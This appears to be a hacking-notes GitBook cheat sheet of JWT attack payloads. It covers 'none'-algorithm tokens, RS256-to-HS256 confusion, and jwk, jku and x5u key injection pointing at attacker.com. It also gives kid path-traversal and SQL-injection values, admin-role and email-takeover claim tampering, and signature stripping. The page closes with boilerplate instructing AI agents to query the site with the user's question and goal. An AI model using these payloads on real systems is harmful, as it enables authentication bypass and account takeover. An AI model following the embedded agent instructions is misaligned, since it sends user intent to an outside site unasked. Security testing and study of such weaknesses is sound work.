> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/jwt-attacks.md). Agents can also search and read this documentation through its [MCP server](https://hacking-notes.jord4n.pro/~gitbook/mcp).

# JWT Attacks Cheat Sheet: Signature, Key and Algorithm Bypasses

JWT testing payloads for algorithm confusion, unsigned tokens, key injection, claim tampering and signature validation weaknesses.

## JWT Attack Payloads — Cheat Sheet

{% hint style="info" %}
**What are JWT attacks?**

JWT attacks abuse unsafe assumptions made while parsing or validating a signed token. Common failure points include accepted algorithms, attacker-controlled key references, weak signing keys, and claims that are trusted without verification.
{% endhint %}

Header and claim objects below are components, not complete signed tokens. Encode components with unpadded Base64url and join them as `header.payload.signature`. Changing a signed component normally invalidates the signature; acceptance, not a decoded role value, is the result to verify.

<details open>

<summary>Algorithm Attacks</summary>

{% code title="None algorithm — remove signature" overflow="wrap" %}

```json
{"alg":"none","typ":"JWT"}
```

{% endcode %}

{% code title="None with capital N" overflow="wrap" %}

```json
{"alg":"None","typ":"JWT"}
```

{% endcode %}

{% code title="None in all caps" overflow="wrap" %}

```json
{"alg":"NONE","typ":"JWT"}
```

{% endcode %}

{% code title="None mixed case" overflow="wrap" %}

```json
{"alg":"nOnE","typ":"JWT"}
```

{% endcode %}

{% code title="Algorithm confusion: RS256 → HS256" overflow="wrap" %}

```
{"alg":"HS256","typ":"JWT"} signed with RSA public key
```

{% endcode %}

{% code title="Algorithm confusion: RS384 → HS384" overflow="wrap" %}

```
{"alg":"HS384","typ":"JWT"} signed with RS384 public key
```

{% endcode %}

</details>

<details open>

<summary>Key Injection</summary>

{% code title="JWK header injection (embedded key)" overflow="wrap" %}

```json
{"alg":"HS256","typ":"JWT","jwk":{"kty":"oct","k":"<attacker-key>"}}
```

{% endcode %}

{% code title="JKU header injection (remote JWKS)" overflow="wrap" %}

```json
{"alg":"RS256","typ":"JWT","jku":"https://attacker.com/.well-known/jwks.json"}
```

{% endcode %}

{% code title="X5U header injection (remote cert)" overflow="wrap" %}

```json
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/key.crt"}
```

{% endcode %}

{% code title="KID path traversal (empty key)" overflow="wrap" %}

```json
{"alg":"HS256","typ":"JWT","kid":"../../dev/null"}
```

{% endcode %}

{% code title="KID SQL injection" overflow="wrap" %}

```json
{"alg":"HS256","typ":"JWT","kid":"key' UNION SELECT 'secret'--"}
```

{% endcode %}

</details>

<details open>

<summary>Claim Manipulation</summary>

{% code title="Change subject/role to admin" overflow="wrap" %}

```
{"sub":"admin","role":"admin","iat":...}
```

{% endcode %}

{% code title="Set expiry far in the future" overflow="wrap" %}

```json
{"exp":9999999999}
```

{% endcode %}

{% code title="Change email claim for account takeover" overflow="wrap" %}

```json
{"sub":"victim","email":"attacker@evil.com"}
```

{% endcode %}

{% code title="Spoof issuer claim" overflow="wrap" %}

```json
{"iss":"trusted-issuer"}
```

{% endcode %}

{% code title="Change audience to privileged service" overflow="wrap" %}

```json
{"aud":"admin-panel"}
```

{% endcode %}

</details>

<details open>

<summary>Signature Bypass</summary>

{% code title="Strip signature entirely" overflow="wrap" %}

```
eyJ...eyJ...  (no signature part)
```

{% endcode %}

{% code title="Empty signature (base64 padding)" overflow="wrap" %}

```
eyJ...eyJ...AA==
```

{% endcode %}

{% code title="Weak/empty secret key test" overflow="wrap" %}

```
Sign with empty string as secret
```

{% endcode %}

{% code title="Common weak secrets wordlist" overflow="wrap" %}

```
Sign with "secret", "password", "123456"
```

{% endcode %}

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/jwt-attacks.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
